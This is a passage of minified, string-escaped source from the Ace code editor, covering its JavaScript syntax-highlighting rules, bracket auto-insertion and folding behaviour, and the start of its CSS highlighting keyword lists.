"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"keyword\",regex:\"(?:\"+n+\")\\\\b\",next:\"start\"},{token:[\"support.constant\"],regex:/that\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function.firebug\"],regex:/(console)(\\.)(warn|info|log|error|time|trace|timeEnd|assert)\\b/},{token:t,regex:o},{token:\"punctuation.operator\",regex:/[.](?![.])/,next:\"property\"},{token:\"keyword.operator\",regex:/--|\\+\\+|\\.{3}|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\|\\||\\?\\:|[!$%&*+\\-~\\/^]=?/,next:\"start\"},{token:\"punctuation.operator\",regex:/[?:,;.]/,next:\"start\"},{token:\"paren.lparen\",regex:/[\\[({]/,next:\"start\"},{token:\"paren.rparen\",regex:/[\\])}]/},{token:\"comment\",regex:/^#!.*$/}],property:[{token:\"text\",regex:\"\\\\s+\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(?:(\\\\s+)(\\\\w+))?(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"punctuation.operator\",regex:/[.](?![.])/},{token:\"support.function\",regex:/(s(?:h(?:ift|ow(?:Mod(?:elessDialog|alDialog)|Help))|croll(?:X|By(?:Pages|Lines)?|Y|To)?|t(?:op|rike)|i(?:n|zeToContent|debar|gnText)|ort|u(?:p|b(?:str(?:ing)?)?)|pli(?:ce|t)|e(?:nd|t(?:Re(?:sizable|questHeader)|M(?:i(?:nutes|lliseconds)|onth)|Seconds|Ho(?:tKeys|urs)|Year|Cursor|Time(?:out)?|Interval|ZOptions|Date|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Date|FullYear)|FullYear|Active)|arch)|qrt|lice|avePreferences|mall)|h(?:ome|andleEvent)|navigate|c(?:har(?:CodeAt|At)|o(?:s|n(?:cat|textual|firm)|mpile)|eil|lear(?:Timeout|Interval)?|a(?:ptureEvents|ll)|reate(?:StyleSheet|Popup|EventObject))|t(?:o(?:GMTString|S(?:tring|ource)|U(?:TCString|pperCase)|Lo(?:caleString|werCase))|est|a(?:n|int(?:Enabled)?))|i(?:s(?:NaN|Finite)|ndexOf|talics)|d(?:isableExternalCapture|ump|etachEvent)|u(?:n(?:shift|taint|escape|watch)|pdateCommands)|j(?:oin|avaEnabled)|p(?:o(?:p|w)|ush|lugins.refresh|a(?:ddings|rse(?:Int|Float)?)|r(?:int|ompt|eference))|e(?:scape|nableExternalCapture|val|lementFromPoint|x(?:p|ec(?:Script|Command)?))|valueOf|UTC|queryCommand(?:State|Indeterm|Enabled|Value)|f(?:i(?:nd|le(?:ModifiedDate|Size|CreatedDate|UpdatedDate)|xed)|o(?:nt(?:size|color)|rward)|loor|romCharCode)|watch|l(?:ink|o(?:ad|g)|astIndexOf)|a(?:sin|nchor|cos|t(?:tachEvent|ob|an(?:2)?)|pply|lert|b(?:s|ort))|r(?:ou(?:nd|teEvents)|e(?:size(?:By|To)|calc|turnValue|place|verse|l(?:oad|ease(?:Capture|Events)))|andom)|g(?:o|et(?:ResponseHeader|M(?:i(?:nutes|lliseconds)|onth)|Se(?:conds|lection)|Hours|Year|Time(?:zoneOffset)?|Da(?:y|te)|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Da(?:y|te)|FullYear)|FullYear|A(?:ttention|llResponseHeaders)))|m(?:in|ove(?:B(?:y|elow)|To(?:Absolute)?|Above)|ergeAttributes|a(?:tch|rgins|x))|b(?:toa|ig|o(?:ld|rderWidths)|link|ack))\\b(?=\\()/},{token:\"support.function.dom\",regex:/(s(?:ub(?:stringData|mit)|plitText|e(?:t(?:NamedItem|Attribute(?:Node)?)|lect))|has(?:ChildNodes|Feature)|namedItem|c(?:l(?:ick|o(?:se|neNode))|reate(?:C(?:omment|DATASection|aption)|T(?:Head|extNode|Foot)|DocumentFragment|ProcessingInstruction|E(?:ntityReference|lement)|Attribute))|tabIndex|i(?:nsert(?:Row|Before|Cell|Data)|tem)|open|delete(?:Row|C(?:ell|aption)|T(?:Head|Foot)|Data)|focus|write(?:ln)?|a(?:dd|ppend(?:Child|Data))|re(?:set|place(?:Child|Data)|move(?:NamedItem|Child|Attribute(?:Node)?)?)|get(?:NamedItem|Element(?:sBy(?:Name|TagName|ClassName)|ById)|Attribute(?:Node)?)|blur)\\b(?=\\()/},{token:\"support.constant\",regex:/(s(?:ystemLanguage|cr(?:ipts|ollbars|een(?:X|Y|Top|Left))|t(?:yle(?:Sheets)?|atus(?:Text|bar)?)|ibling(?:Below|Above)|ource|uffixes|e(?:curity(?:Policy)?|l(?:ection|f)))|h(?:istory|ost(?:name)?|as(?:h|Focus))|y|X(?:MLDocument|SLDocument)|n(?:ext|ame(?:space(?:s|URI)|Prop))|M(?:IN_VALUE|AX_VALUE)|c(?:haracterSet|o(?:n(?:structor|trollers)|okieEnabled|lorDepth|mp(?:onents|lete))|urrent|puClass|l(?:i(?:p(?:boardData)?|entInformation)|osed|asses)|alle(?:e|r)|rypto)|t(?:o(?:olbar|p)|ext(?:Transform|Indent|Decoration|Align)|ags)|SQRT(?:1_2|2)|i(?:n(?:ner(?:Height|Width)|put)|ds|gnoreCase)|zIndex|o(?:scpu|n(?:readystatechange|Line)|uter(?:Height|Width)|p(?:sProfile|ener)|ffscreenBuffering)|NEGATIVE_INFINITY|d(?:i(?:splay|alog(?:Height|Top|Width|Left|Arguments)|rectories)|e(?:scription|fault(?:Status|Ch(?:ecked|arset)|View)))|u(?:ser(?:Profile|Language|Agent)|n(?:iqueID|defined)|pdateInterval)|_content|p(?:ixelDepth|ort|ersonalbar|kcs11|l(?:ugins|atform)|a(?:thname|dding(?:Right|Bottom|Top|Left)|rent(?:Window|Layer)?|ge(?:X(?:Offset)?|Y(?:Offset)?))|r(?:o(?:to(?:col|type)|duct(?:Sub)?|mpter)|e(?:vious|fix)))|e(?:n(?:coding|abledPlugin)|x(?:ternal|pando)|mbeds)|v(?:isibility|endor(?:Sub)?|Linkcolor)|URLUnencoded|P(?:I|OSITIVE_INFINITY)|f(?:ilename|o(?:nt(?:Size|Family|Weight)|rmName)|rame(?:s|Element)|gColor)|E|whiteSpace|l(?:i(?:stStyleType|n(?:eHeight|kColor))|o(?:ca(?:tion(?:bar)?|lName)|wsrc)|e(?:ngth|ft(?:Context)?)|a(?:st(?:M(?:odified|atch)|Index|Paren)|yer(?:s|X)|nguage))|a(?:pp(?:MinorVersion|Name|Co(?:deName|re)|Version)|vail(?:Height|Top|Width|Left)|ll|r(?:ity|guments)|Linkcolor|bove)|r(?:ight(?:Context)?|e(?:sponse(?:XML|Text)|adyState))|global|x|m(?:imeTypes|ultiline|enubar|argin(?:Right|Bottom|Top|Left))|L(?:N(?:10|2)|OG(?:10E|2E))|b(?:o(?:ttom|rder(?:Width|RightWidth|BottomWidth|Style|Color|TopWidth|LeftWidth))|ufferDepth|elow|ackground(?:Color|Image)))\\b/},{token:\"identifier\",regex:o},{regex:\"\",token:\"empty\",next:\"no_regex\"}],start:[i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment_regex_allowed\"},{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment_regex_allowed\"},{token:\"string.regexp\",regex:\"\\\\/\",next:\"regex\"},{token:\"text\",regex:\"\\\\s+|^$\",next:\"start\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],regex:[{token:\"regexp.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"string.regexp\",regex:\"/[sxngimy]*\",next:\"no_regex\"},{token:\"invalid\",regex:/\\{\\d+\\b,?\\d*\\}[+*]|[+*$^?][+*]|[$^][?]|\\?{3,}/},{token:\"constant.language.escape\",regex:/\\(\\?[:=!]|\\)|\\{\\d+\\b,?\\d*\\}|[+*]\\?|[()$^+*?.]/},{token:\"constant.language.delimiter\",regex:/\\|/},{token:\"constant.language.escape\",regex:/\\[\\^?/,next:\"regex_character_class\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp\"}],regex_character_class:[{token:\"regexp.charclass.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"constant.language.escape\",regex:\"]\",next:\"regex\"},{token:\"constant.language.escape\",regex:\"-\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp.charachterclass\"}],function_arguments:[{token:\"variable.parameter\",regex:o},{token:\"punctuation.operator\",regex:\"[, ]+\"},{token:\"punctuation.operator\",regex:\"$\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],comment:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],qqstring:[{token:\"constant.language.escape\",regex:r},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qqstring\"},{token:\"string\",regex:'\"|$',next:\"no_regex\"},{defaultToken:\"string\"}],qstring:[{token:\"constant.language.escape\",regex:r},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qstring\"},{token:\"string\",regex:\"'|$\",next:\"no_regex\"},{defaultToken:\"string\"}]};if(!e||!e.noES6)this.$rules.no_regex.unshift({regex:\"[{}]\",onMatch:function(e,t,n){this.next=e==\"{\"?this.nextState:\"\";if(e==\"{\"&&n.length)return n.unshift(\"start\",t),\"paren\";if(e==\"}\"&&n.length){n.shift(),this.next=n.shift();if(this.next.indexOf(\"string\")!=-1||this.next.indexOf(\"jsx\")!=-1)return\"paren.quasi.end\"}return e==\"{\"?\"paren.lparen\":\"paren.rparen\"},nextState:\"start\"},{token:\"string.quasi.start\",regex:/`/,push:[{token:\"constant.language.escape\",regex:r},{token:\"paren.quasi.start\",regex:/\\${/,push:\"start\"},{token:\"string.quasi.end\",regex:/`/,next:\"pop\"},{defaultToken:\"string.quasi\"}]}),(!e||!e.noJSX)&&a.call(this);this.embedRules(i,\"doc-\",[i.getEndRule(\"no_regex\")]),this.normalizeRules()};r.inherits(u,s),t.JavaScriptHighlightRules=u}),define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),define(\"ace/mode/javascript\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/range\",\"ace/worker/worker_client\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../range\").Range,a=e(\"../worker/worker_client\").WorkerClient,f=e(\"./behaviour/cstyle\").CstyleBehaviour,l=e(\"./folding/cstyle\").FoldMode,c=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new f,this.foldingRules=new l};r.inherits(c,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens,o=i.state;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"||e==\"no_regex\"){var u=t.match(/^.*(?:\\bcase\\b.*\\:|[\\{\\(\\[])\\s*$/);u&&(r+=n)}else if(e==\"doc-start\"){if(o==\"start\"||o==\"no_regex\")return\"\";var u=t.match(/^\\s*(\\/?)\\*/);u&&(u[1]&&(r+=\" \"),r+=\"* \")}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.createWorker=function(e){var t=new a([\"ace\"],\"ace/mode/javascript_worker\",\"JavaScriptWorker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/javascript\"}.call(c.prototype),t.Mode=c}),define(\"ace/mode/css_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,o=t.supportType=\"animation-fill-mode|alignment-adjust|alignment-baseline|animation-delay|animation-direction|animation-duration|animation-iteration-count|animation-name|animation-play-state|animation-timing-function|animation|appearance|azimuth|backface-visibility|background-attachment|background-break|background-clip|background-color|background-image|background-origin|background-position|background-repeat|background-size|background|baseline-shift|binding|bleed|bookmark-label|bookmark-level|bookmark-state|bookmark-target|border-bottom|border-bottom-color|border-bottom-left-radius|border-bottom-right-radius|border-bottom-style|border-bottom-width|border-collapse|border-color|border-image|border-image-outset|border-image-repeat|border-image-slice|border-image-source|border-image-width|border-left|border-left-color|border-left-style|border-left-width|border-radius|border-right|border-right-color|border-right-style|border-right-width|border-spacing|border-style|border-top|border-top-color|border-top-left-radius|border-top-right-radius|border-top-style|border-top-width|border-width|border|bottom|box-align|box-decoration-break|box-direction|box-flex-group|box-flex|box-lines|box-ordinal-group|box-orient|box-pack|box-shadow|box-sizing|break-after|break-before|break-inside|caption-side|clear|clip|color-profile|color|column-count|column-fill|column-gap|column-rule|column-rule-color|column-rule-style|column-rule-width|column-span|column-width|columns|content|counter-increment|counter-reset|crop|cue-after|cue-before|cue|cursor|direction|display|dominant-baseline|drop-initial-after-adjust|drop-initial-after-align|drop-initial-before-adjust|drop-initial-before-align|drop-initial-size|drop-initial-value|elevation|empty-cells|fit|fit-position|float-offset|float|font-family|font-size|font-size-adjust|font-stretch|font-style|font-variant|font-weight|font|grid-columns|grid-rows|hanging-punctuation|height|hyphenate-after|hyphenate-before|hyphenate-character|hyphenate-lines|hyphenate-resource|hyphens|icon|image-orientation|image-rendering|image-resolution|inline-box-align|left|letter-spacing|line-height|line-stacking-ruby|line-stacking-shift|line-stacking-strategy|line-stacking|list-style-image|list-style-position|list-style-type|list-style|margin-bottom|margin-left|margin-right|margin-top|margin|mark-after|mark-before|mark|marks|marquee-direction|marquee-play-count|marquee-speed|marquee-style|max-height|max-width|min-height|min-width|move-to|nav-down|nav-index|nav-left|nav-right|nav-up|opacity|orphans|outline-color|outline-offset|outline-style|outline-width|outline|overflow-style|overflow-x|overflow-y|overflow|padding-bottom|padding-left|padding-right|padding-top|padding|page-break-after|page-break-before|page-break-inside|page-policy|page|pause-after|pause-before|pause|perspective-origin|perspective|phonemes|pitch-range|pitch|play-during|pointer-events|position|presentation-level|punctuation-trim|quotes|rendering-intent|resize|rest-after|rest-before|rest|richness|right|rotation-point|rotation|ruby-align|ruby-overhang|ruby-position|ruby-span|size|speak-header|speak-numeral|speak-punctuation|speak|speech-rate|stress|string-set|table-layout|target-name|target-new|target-position|target|text-align-last|text-align|text-decoration|text-emphasis|text-height|text-indent|text-justify|text-outline|text-shadow|text-transform|text-wrap|top|transform-origin|transform-style|transform|transition-delay|transition-duration|transition-property|transition-timing-function|transition|unicode-bidi|vertical-align|visibility|voice-balance|voice-duration|voice-family|voice-pitch-range|voice-pitch|voice-rate|voice-stress|voice-volume|volume|white-space-collapse|white-space|widows|width|word-break|word-spacing|word-wrap|z-index\",u=t.supportFunction=\"rgb|rgba|url|attr|counter|counters\",a=t.supportConstant=\"absolute|after-edge|after|all-scroll|all|alphabetic|always|antialiased|armenian|auto|avoid-column|avoid-page|avoid|balance|baseline|before-edge|before|below|bidi-override|block-line-height|block|bold|bolder|border-box|both|bottom|box|break-all|break-word|capitalize|caps-height|caption|center|central|char|circle|cjk-ideographic|clone|close-quote|col-resize|collapse|column|consider-shifts|contain|content-box|cover|crosshair|cubic-bezier|dashed|decimal-leading-zero|decimal|default|disabled|disc|disregard-shifts|distribute-all-lines|distribute-letter|distribute-space|distribute|dotted|double|e-resize|ease-in|ease-in-out|ease-out|ease|ellipsis|end|exclude-ruby|fill|fixed|georgian|glyphs|grid-height|groove|hand|hanging|hebrew|help|hidden|hiragana-iroha|hiragana|horizontal|icon|ideograph-alpha|ideograph-numeric|ideograph-parenthesis|ideograph-space|ideographic|inactive|include-ruby|inherit|initial|inline-block|inline-box|inline-line-height|inline-table|inline|inset|inside|inter-ideograph|inter-word|invert|italic|justify|katakana-iroha|katakana|keep-all|last|left|lighter|line-edge|line-through|line|linear|list-item|local|loose|lower-alpha|lower-greek|lower-latin|lower-roman|lowercase|lr-tb|ltr|mathematical|max-height|max-size|medium|menu|message-box|middle|move|n-resize|ne-resize|newspaper|no-change|no-close-quote|no-drop|no-open-quote|no-repeat|none|normal|not-allowed|nowrap|nw-resize|oblique|open-quote|outset|outside|overline|padding-box|page|pointer|pre-line|pre-wrap|pre|preserve-3d|progress|relative|repeat-x|repeat-y|repeat|replaced|reset-size|ridge|right|round|row-resize|rtl|s-resize|scroll|se-resize|separate|slice|small-caps|small-caption|solid|space|square|start|static|status-bar|step-end|step-start|steps|stretch|strict|sub|super|sw-resize|table-caption|table-cell|table-column-group|table-column|table-footer-group|table-header-group|table-row-group|table-row|table|tb-rl|text-after-edge|text-before-edge|text-bottom|text-size|text-top|text|thick|thin|transparent|underline|upper-alpha|upper-latin|upper-roman|uppercase|use-script|vertical-ideographic|vertical-text|visible|w-resize|wait|whitespace|z-index|zero\",f=t.supportConstantColor=\"aqua|black|blue|fuchsia|gray|green|lime|maroon|navy|olive|orange|purple|red|silver|teal|white|yellow\",l=t.supportConstantFonts=\"arial|century|comic|courier|cursive|fantasy|garamond|georgia|helvetica|impact|lucida|symbol|system|tahoma|times|trebuchet|utopia|verdana|webdings|sans-serif|serif|monospace\",c=t.numRe=\"\\\\-?(?:(?:[0-9]+)|(?:[0-9]*\\\\.[0-9]+))\",h=t.pseudoElements=\"(\\\\:+)\\\\b(after|before|first-lette